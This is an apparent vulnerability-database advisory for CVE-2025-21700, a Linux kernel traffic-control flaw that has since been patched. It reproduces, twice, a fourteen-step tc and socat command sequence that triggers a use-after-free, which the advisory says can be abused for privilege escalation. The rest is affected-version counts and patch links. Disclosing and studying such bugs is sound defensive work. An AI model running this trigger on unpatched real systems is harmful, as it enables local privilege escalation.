UBUNTU-CVE-2025-21700
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <[email protected]>
02 / AFFECTED SOFTWARE
Affected packages
11 explicit affected versions
43 explicit affected versions
61 explicit affected versions
50 explicit affected versions
6 explicit affected versions
12 explicit affected versions
19 explicit affected versions
6 explicit affected versions
71 explicit affected versions
21 explicit affected versions
56 explicit affected versions
74 explicit affected versions
64 explicit affected versions
57 explicit affected versions
10 explicit affected versions
12 explicit affected versions
19 explicit affected versions
63 explicit affected versions
191 explicit affected versions
7 explicit affected versions
62 explicit affected versions
16 explicit affected versions
102 explicit affected versions
13 explicit affected versions
70 explicit affected versions
18 explicit affected versions
35 explicit affected versions
23 explicit affected versions
21 explicit affected versions
18 explicit affected versions
22 explicit affected versions
101 explicit affected versions
45 explicit affected versions
21 explicit affected versions
104 explicit affected versions
13 explicit affected versions
4 explicit affected versions
23 explicit affected versions
106 explicit affected versions
26 explicit affected versions
1 explicit affected versions
1 explicit affected versions
21 explicit affected versions
16 explicit affected versions
10 explicit affected versions
58 explicit affected versions
22 explicit affected versions
3 explicit affected versions
7 explicit affected versions
12 explicit affected versions
2 explicit affected versions
54 explicit affected versions
12 explicit affected versions
14 explicit affected versions
1 explicit affected versions
7 explicit affected versions
2 explicit affected versions
91 explicit affected versions
12 explicit affected versions
107 explicit affected versions
115 explicit affected versions
12 explicit affected versions
16 explicit affected versions
102 explicit affected versions
105 explicit affected versions
17 explicit affected versions
13 explicit affected versions
8 explicit affected versions
10 explicit affected versions
173 explicit affected versions
37 explicit affected versions
1 explicit affected versions
13 explicit affected versions
14 explicit affected versions
10 explicit affected versions
38 explicit affected versions
1 explicit affected versions
38 explicit affected versions
26 explicit affected versions
13 explicit affected versions
13 explicit affected versions
1 explicit affected versions
29 explicit affected versions
94 explicit affected versions
13 explicit affected versions
68 explicit affected versions
15 explicit affected versions
16 explicit affected versions
1 explicit affected versions
87 explicit affected versions
63 explicit affected versions
106 explicit affected versions
26 explicit affected versions
33 explicit affected versions
23 explicit affected versions
10 explicit affected versions
1 explicit affected versions
99 explicit affected versions
11 explicit affected versions
12 explicit affected versions
122 explicit affected versions
7 explicit affected versions
12 explicit affected versions
105 explicit affected versions
2 explicit affected versions
54 explicit affected versions
48 explicit affected versions
115 explicit affected versions
64 explicit affected versions
150 explicit affected versions
136 explicit affected versions
10 explicit affected versions
26 explicit affected versions
20 explicit affected versions
40 explicit affected versions
1 explicit affected versions
11 explicit affected versions
23 explicit affected versions
13 explicit affected versions
21 explicit affected versions
122 explicit affected versions
63 explicit affected versions
16 explicit affected versions
65 explicit affected versions
24 explicit affected versions
53 explicit affected versions
3 explicit affected versions
76 explicit affected versions
1 explicit affected versions
2 explicit affected versions
2 explicit affected versions
72 explicit affected versions
51 explicit affected versions
75 explicit affected versions
11 explicit affected versions
20 explicit affected versions
12 explicit affected versions
51 explicit affected versions
27 explicit affected versions
38 explicit affected versions
1 explicit affected versions
1 explicit affected versions
80 explicit affected versions
17 explicit affected versions
8 explicit affected versions
28 explicit affected versions
5 explicit affected versions
8 explicit affected versions
1 explicit affected versions
10 explicit affected versions
2 explicit affected versions
20 explicit affected versions
13 explicit affected versions
94 explicit affected versions
13 explicit affected versions
58 explicit affected versions
7 explicit affected versions
2 explicit affected versions
77 explicit affected versions
55 explicit affected versions
10 explicit affected versions
12 explicit affected versions
15 explicit affected versions
92 explicit affected versions
44 explicit affected versions
16 explicit affected versions
3 explicit affected versions
13 explicit affected versions
26 explicit affected versions
45 explicit affected versions
37 explicit affected versions
25 explicit affected versions
14 explicit affected versions
38 explicit affected versions
54 explicit affected versions
9 explicit affected versions
53 explicit affected versions
11 explicit affected versions
15 explicit affected versions
7 explicit affected versions
64 explicit affected versions
7 explicit affected versions
33 explicit affected versions
83 explicit affected versions
66 explicit affected versions
126 explicit affected versions
105 explicit affected versions
4 explicit affected versions
1 explicit affected versions
1 explicit affected versions
1 explicit affected versions
62 explicit affected versions
98 explicit affected versions
13 explicit affected versions
43 explicit affected versions
60 explicit affected versions
129 explicit affected versions
150 explicit affected versions
10 explicit affected versions
8 explicit affected versions
19 explicit affected versions
14 explicit affected versions
92 explicit affected versions
4 explicit affected versions
78 explicit affected versions
11 explicit affected versions
1 explicit affected versions
52 explicit affected versions
14 explicit affected versions
03 / CONNECTIONS
Connected vulnerabilities
04 / EVIDENCE
Source records
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <[email protected]>
05 / REFERENCES
Further evidence
- https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc
- https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70
- https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8
- https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f
- https://ubuntu.com/security/CVE-2025-21700
- https://ubuntu.com/security/notices/USN-7428-1
- https://ubuntu.com/security/notices/USN-7428-2
- https://ubuntu.com/security/notices/USN-7429-1
- https://ubuntu.com/security/notices/USN-7429-2
- https://ubuntu.com/security/notices/USN-7445-1
- https://ubuntu.com/security/notices/USN-7448-1
- https://ubuntu.com/security/notices/USN-7449-1
- https://ubuntu.com/security/notices/USN-7449-2
- https://ubuntu.com/security/notices/USN-7450-1
- https://ubuntu.com/security/notices/USN-7451-1
- https://ubuntu.com/security/notices/USN-7452-1
- https://ubuntu.com/security/notices/USN-7453-1
- https://ubuntu.com/security/notices/USN-7455-1
- https://ubuntu.com/security/notices/USN-7455-2
- https://ubuntu.com/security/notices/USN-7455-3
- https://ubuntu.com/security/notices/USN-7455-4
- https://ubuntu.com/security/notices/USN-7455-5
- https://ubuntu.com/security/notices/USN-7459-1
- https://ubuntu.com/security/notices/USN-7459-2
- https://ubuntu.com/security/notices/USN-7460-1
- https://ubuntu.com/security/notices/USN-7461-1
- https://ubuntu.com/security/notices/USN-7461-2
- https://ubuntu.com/security/notices/USN-7461-3
- https://ubuntu.com/security/notices/USN-7462-1
- https://ubuntu.com/security/notices/USN-7462-2
- https://ubuntu.com/security/notices/USN-7463-1
- https://ubuntu.com/security/notices/USN-7468-1
- https://ubuntu.com/security/notices/USN-7475-1
- https://ubuntu.com/security/notices/USN-7523-1
- https://ubuntu.com/security/notices/USN-7524-1
- https://ubuntu.com/security/notices/USN-7539-1
- https://ubuntu.com/security/notices/USN-7540-1
- https://www.cve.org/CVERecord?id=CVE-2025-21700